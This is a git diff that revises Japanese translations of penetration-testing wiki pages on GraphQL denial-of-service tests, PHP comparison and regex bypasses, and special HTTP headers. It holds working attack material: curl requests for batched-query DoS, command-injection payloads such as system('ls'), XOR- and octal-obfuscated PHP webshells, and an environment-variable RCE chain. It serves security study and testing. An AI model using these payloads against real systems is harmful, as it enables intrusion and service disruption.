APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が大量のクエリを同時に送信できるようにします。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース（CPU、メモリ、データベース接続）を消費し、最終的には**サービス拒否（DoS）**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを利用してサービスの可用性を低下させることができます。 +**配列ベースのクエリバッチ処理**は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース（CPU、メモリ、データベース接続）を消費し、最終的には**サービス拒否（DoS）**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。 ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -509,11 +505,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になります。 +この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 ### **ディレクティブオーバーローディング脆弱性** -**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否（DoS）**につながる可能性があります。 +**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否（DoS）**を引き起こすことができます。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -521,7 +517,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -前の例では、`@aa`は**宣言されていない可能性がある**カスタムディレクティブです。通常存在する一般的なディレクティブは**`@include`**です： +前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です： ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -539,7 +535,7 @@ curl -X POST \ ### **フィールド重複脆弱性** -**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース（CPU、メモリ、データベース呼び出し）を消費します。攻撃者は何百または何千もの繰り返されたフィールドを持つクエリを作成でき、高負荷を引き起こし、最終的には**サービス拒否（DoS）**につながる可能性があります。 +**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース（CPU、メモリ、データベース呼び出し）を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否（DoS）**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -555,10 +551,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 使用されている graphql のフィンガープリンティング - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): スキーマを取得し、機密データを検索し、認可をテストし、スキーマをブルートフォースし、特定のタイプへのパスを見つけるために使用できるツールキット。 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは [Burp 拡張機能](https://github.com/doyensec/inql) として使用できます。 -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI クライアントとしても使用でき、攻撃を自動化します +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI クライアントとしても使用でき、攻撃を自動化できます: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL スキーマ内の特定のタイプに到達するさまざまな方法をリストするツール**。 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL のスタンドアロンおよび CLI モードの後継 -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テスト用の Burp 拡張機能。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。 +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テスト用の Burp 拡張機能または Python スクリプト。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 一部の Graphql データベースの助けを借りて、イントロスペクションが無効になっていてもスキーマを取得しようとします。 ### クライアント diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 02455240f..8f7d08fab 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -20,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## PHPの比較をバイパスする -### 緩い比較/型ジャグリング ( == ) +### 緩やかな比較/型ジャグリング ( == ) PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。 @@ -36,10 +36,10 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります（文字列内の数字は数字として解釈されます） - `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい - `"0X3264578" == 0X --> True` "0"で始まり、任意の文字（Xは任意の文字）で続き、何かが続く文字列は0と等しい -- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がない値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい -詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。 +詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)で確認できます。 ### **in_array()** @@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### 厳密な型のジャグリング -`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。例えば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です： +`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です： ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -このチェックを回避するには、**新しい行をURLエンコードした値を送信する**（`%0A`）か、**JSONデータ**を送信できる場合は、**複数行で送信**します： +このチェックを回避するには、**新しい行を含む値をURLエンコードして送信**するか（`%0A`）、**JSONデータ**を送信できる場合は、**複数行**で送信します： ```php { "cmd": "cat /etc/passwd" @@ -97,8 +97,8 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram #### **長さエラーのバイパス** -(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\ -`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストに登録している場合、次のように送信できます: +（このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした）\ +`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストに登録している場合、次のように送信できます： ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -110,13 +110,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の回数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。 +要するに、問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。 -[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした：\ -**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system()}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。 +[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした：\ +**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のないものと考えさせ、ペイロードの最後に`{system()}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得することです :)**。 -さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\ -それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ（500k 前方と 500k 後方）を生成します： +さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えているのです。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数のデフォルトは1,000,000（1M）です。\ +それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ（50万前進し、50万後退）を生成します： ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -153,11 +153,12 @@ readfile($page); ## さらなるトリック -- **register_globals**: **PHP < 4.1.1.1** または誤って設定されている場合、**register_globals** が有効である可能性があります（またはその動作が模倣されています）。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。 +- **register_globals**: **PHP < 4.1.1.1** または誤って設定されている場合、**register_globals** が有効である可能性があります（またはその動作が模倣されています）。これは、グローバル変数のように $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。 - **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\ -この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する** ことができます。そして、path2 は path1 の変数を有効と見なします（クッキーに path2 に対応する名前を付けることによって）。 -- マシンの **ユーザー名** を持っている場合、アドレス **/\~\** をチェックして、php ディレクトリが有効になっているか確認します。 -- [**LFI と RCE を php ラッパーを使用して**](../../../pentesting-web/file-inclusion/index.html) +この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします（クッキーに path2 に対応する名前を付けることによって）。 +- マシンの **ユーザー名** を持っている場合は、アドレス **/\~\** をチェックして、php ディレクトリが有効になっているか確認します。 +- php 設定に **`register_argc_argv = On`** がある場合、スペースで区切られたクエリパラメータが **`array_keys($_SERVER['argv'])`** の引数配列を埋めるために使用されます。これは、**CLI からの引数**のように扱われます。この設定がオフの場合、**args 配列の値は `Null`** になります。したがって、ウェブページが `if (empty($_SERVER['argv'])) {` のような比較でウェブとして実行されているか CLI ツールとして実行されているかを確認しようとすると、攻撃者は **GET リクエストに `?--configPath=/lalala` のようなパラメータを送信することができ**、それが CLI として実行されていると考え、これらの引数を解析して使用する可能性があります。詳細は [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) を参照してください。 +- [**PHP ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -228,13 +229,13 @@ preg_replace("/a/e","phpinfo()","whatever") ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**を使用できます。例えば、"**and"や"%26%26"、"|"**などです。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。 +コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**として「**and**」や「**%26%26**」、「**|**」を使用できます。「or」や「||」は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、「;」も機能しません。なぜなら、ペイロードは実行されないからです。 **別のオプション**は、文字列にコマンドの実行を追加することです: `'.highlight_file('.passwd').'` **別のオプション**（内部コードがある場合）は、実行を変更するために変数を修正することです: `$file = "hola"` -### **usort()を使用したRCE** +### **usort()によるRCE** この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\ この関数を悪用するには: @@ -265,21 +266,21 @@ usort();}phpinfo;#, "cmp"); - `?order=id);}//`: **警告**が表示されます。それは正しいようです。 - `?order=id));}//`: エラーメッセージが表示されます（`Parse error: syntax error, unexpected ')' i`）。おそらく、閉じ括弧が多すぎます。 -### **.httaccess経由のRCE** +### **.httaccessを介したRCE** -**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます（.htaccess拡張子のファイルが**実行**されるように設定すること）。 +**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます（.htaccess拡張子のファイルが**実行**できるように設定すること）。 異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 -### 環境変数経由のRCE +### 環境変数を介したRCE PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合（ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません）、この動作を悪用して**RCE**を取得できます。 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します（ただし、この場合は機能しないかもしれません）。 -- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 +- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。 1. シェルコードを含むPHPファイルをアップロードします。 2. 1ステップでアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 -3. 2ステップでアップロードしたファイルに`PHPRC`変数を設定します。 +3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。 - このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。 - **PHPRC** - 別のオプション - **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です： @@ -311,8 +312,8 @@ phpinfo(); ``` ## PHP サニタイズバイパス & Brain Fuck -[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可された brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\ -さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています： +[**この投稿**](https://blog.redteam-pentesting.de/2024/moodle-rce/) では、非常に少ない文字で許可された brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\ +さらに、いくつかのチェックをバイパスすることを可能にする関数を実行するための興味深い方法も提案されています： ```php (1)->{system($_GET[chr(97)])} ``` @@ -352,17 +353,17 @@ echo "$x ${Da}"; //Da Drums ``` ## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"]) -ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください： +ページ内で**任意のクラスの新しいオブジェクトを作成できる**場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください： {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} -## 文字なしでPHPを実行 +## 文字なしでPHPを実行する [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### 8進数を使用して +### 8進数を使用する ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` @@ -373,16 +374,16 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3 $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` -### XOR easy shell code +### XOR 簡単シェルコード -[**この解説** ](https://mgp25.com/ctf/Web-challenge/)によると、次のようにして簡単なシェルコードを生成することが可能です： +According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -だから、**数字や文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます： +だから、**数字と文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます： ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 01a8a59b8..811355b7a 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -56,12 +56,12 @@ **サーバーキャッシュヘッダー**: -- **`X-Cache`**は、リクエストがキャッシュされていない場合は**`miss`**、キャッシュされている場合は**`hit`**の値を持つことがあります。 +- **`X-Cache`**は、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つことがあります。 - ヘッダー**`Cf-Cache-Status`**でも同様の動作があります。 -- **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回キャッシュされる時期を示します: `Cache-Control: public, max-age=1800` -- **`Vary`**は、通常はキーがないヘッダーであっても、キャッシュキーの一部として扱われる**追加ヘッダー**を示すために、レスポンスでよく使用されます。 -- **`Age`**は、オブジェクトがプロキシキャッシュに存在している秒数を定義します。 -- **`Server-Timing: cdn-cache; desc=HIT`**は、リソースがキャッシュされていたことも示します。 +- **`Cache-Control`**は、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされる時期を示します: `Cache-Control: public, max-age=1800` +- **`Vary`**は、通常はキーが設定されていないヘッダーであっても、キャッシュキーの一部として扱われる**追加ヘッダー**を示すために、応答でよく使用されます。 +- **`Age`**は、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。 +- **`Server-Timing: cdn-cache; desc=HIT`**もリソースがキャッシュされていることを示します。 {{#ref}} ../../pentesting-web/cache-deception/ @@ -70,20 +70,21 @@ **ローカルキャッシュヘッダー**: - `Clear-Site-Data`: 削除すべきキャッシュを示すヘッダー: `Clear-Site-Data: "cache", "cookies"` -- `Expires`: レスポンスが期限切れになる日時を含む: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` +- `Expires`: 応答が期限切れになる日時を含む: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache`は`Cache-Control: no-cache`と同じです。 -- `Warning`: **`Warning`**一般HTTPヘッダーは、メッセージの状態に関する可能な問題についての情報を含みます。レスポンスに複数の`Warning`ヘッダーが表示されることがあります。`Warning: 110 anderson/1.3.37 "Response is stale"` +- `Warning`: **`Warning`**一般HTTPヘッダーは、メッセージの状態に関する可能な問題についての情報を含みます。応答に複数の`Warning`ヘッダーが表示されることがあります。`Warning: 110 anderson/1.3.37 "Response is stale"` ## 条件付きリクエスト -- これらのヘッダーを使用するリクエスト: **`If-Modified-Since`**および**`If-Unmodified-Since`**は、レスポンスヘッダー\*\*`Last-Modified`\*\*が異なる時間を含む場合にのみデータで応答されます。 -- **`If-Match`**および**`If-None-Match`**を使用する条件付きリクエストは、Etag値を使用し、データ（Etag）が変更された場合にウェブサーバーがレスポンスの内容を送信します。`Etag`はHTTPレスポンスから取得されます。 -- **Etag**値は通常、レスポンスの**内容**に基づいて**計算**されます。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`は、`Etag`が**37バイト**の**Sha1**であることを示しています。 +- これらのヘッダーを使用するリクエスト: **`If-Modified-Since`**および**`If-Unmodified-Since`**は、応答ヘッダー**`Last-Modified`**が異なる時間を含む場合にのみデータで応答されます。 +- **`If-Match`**および**`If-None-Match`**を使用する条件付きリクエストは、Etag値を使用し、データ（Etag）が変更された場合にウェブサーバーが応答の内容を送信します。`Etag`はHTTP応答から取得されます。 +- **Etag**値は通常、応答の**内容**に基づいて**計算**されます。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`は、`Etag`が**37バイト**の**Sha1**であることを示しています。 ## レンジリクエスト -- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合にレンジがどの単位で表現できるかを示します。`Accept-Ranges: ` -- **`Range`**: サーバーが返すべきドキュメントの部分を示します。 +- **`Accept-Ranges`**: サーバーがレンジリクエストをサポートしているかどうか、またその場合はどの単位でレンジを表現できるかを示します。`Accept-Ranges: ` +- **`Range`**: サーバーが返すべきドキュメントの部分を示します。例えば、`Range:80-100`は、元の応答のバイト80から100を206 Partial Contentのステータスコードで返します。また、リクエストから`Accept-Encoding`ヘッダーを削除することを忘れないでください。 +- これは、そうでなければエスケープされる可能性のある任意の反射されたJavaScriptコードを含む応答を取得するのに役立つかもしれません。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。 - **`If-Range`**: 指定されたetagまたは日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの互換性のないバージョンから2つのレンジをダウンロードするのを防ぐために使用されます。 - **`Content-Range`**: 完全なボディメッセージのどこに部分メッセージが属するかを示します。 @@ -95,10 +96,10 @@ - **`Content-Language`**: 対象となる人間の言語を説明し、ユーザーが自分の好みの言語に応じて区別できるようにします。 - **`Content-Location`**: 返されたデータの代替位置を示します。 -ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護されている**場合、これを**取得する方法**が見つかれば、これは**興味深い**かもしれません。\ +ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが**401**または**403**で**保護されている**場合、これを取得する**方法**を見つけることができれば、これは**興味深い**かもしれません。\ 例えば、HEADリクエストでの**`Range`**と**`Etag`**の組み合わせは、HEADリクエストを介してページの内容を漏洩させることができます: -- ヘッダー`Range: bytes=20-20`を持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`を含むレスポンスは、バイト20のSHA1が`ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`であることを漏洩しています。 +- ヘッダー`Range: bytes=20-20`を持つリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`を含む応答は、バイト20のSHA1が`ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`であることを漏洩しています。 ## サーバー情報 @@ -107,16 +108,16 @@ ## コントロール -- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`と指定されることがあり、リソースがこれらのメソッドをサポートしていることを示します。 -- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す`Expect: 100-continue`ヘッダーです。クライアントは、送信を進める前に`100 (Continue)`レスポンスを探します。このメカニズムは、サーバーの確認を待つことでネットワークの使用を最適化するのに役立ちます。 +- **`Allow`**: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、`Allow: GET, POST, HEAD`のように指定され、リソースがこれらのメソッドをサポートしていることを示します。 +- **`Expect`**: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示す`Expect: 100-continue`ヘッダーです。クライアントは、送信を進める前に`100 (Continue)`応答を探します。このメカニズムは、サーバーの確認を待つことでネットワーク使用を最適化するのに役立ちます。 ## ダウンロード -- HTTPレスポンスの**`Content-Disposition`**ヘッダーは、ファイルを**インライン**（ウェブページ内）で表示するか、**添付ファイル**（ダウンロード）として扱うかを指示します。例えば: +- HTTP応答の**`Content-Disposition`**ヘッダーは、ファイルを**インライン**（ウェブページ内）で表示するか、**添付ファイル**（ダウンロード）として扱うかを指示します。例えば: ``` Content-Disposition: attachment; filename="filename.jpg" ``` -この意味は、「filename.jpg」という名前のファイルがダウンロードされて保存されることを意図しているということです。 +これは「filename.jpg」という名前のファイルがダウンロードされて保存されることを意図していることを意味します。 ## セキュリティヘッダー @@ -128,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg" ### **信頼されたタイプ** -CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特別に作成されたオブジェクトのみが危険なWeb 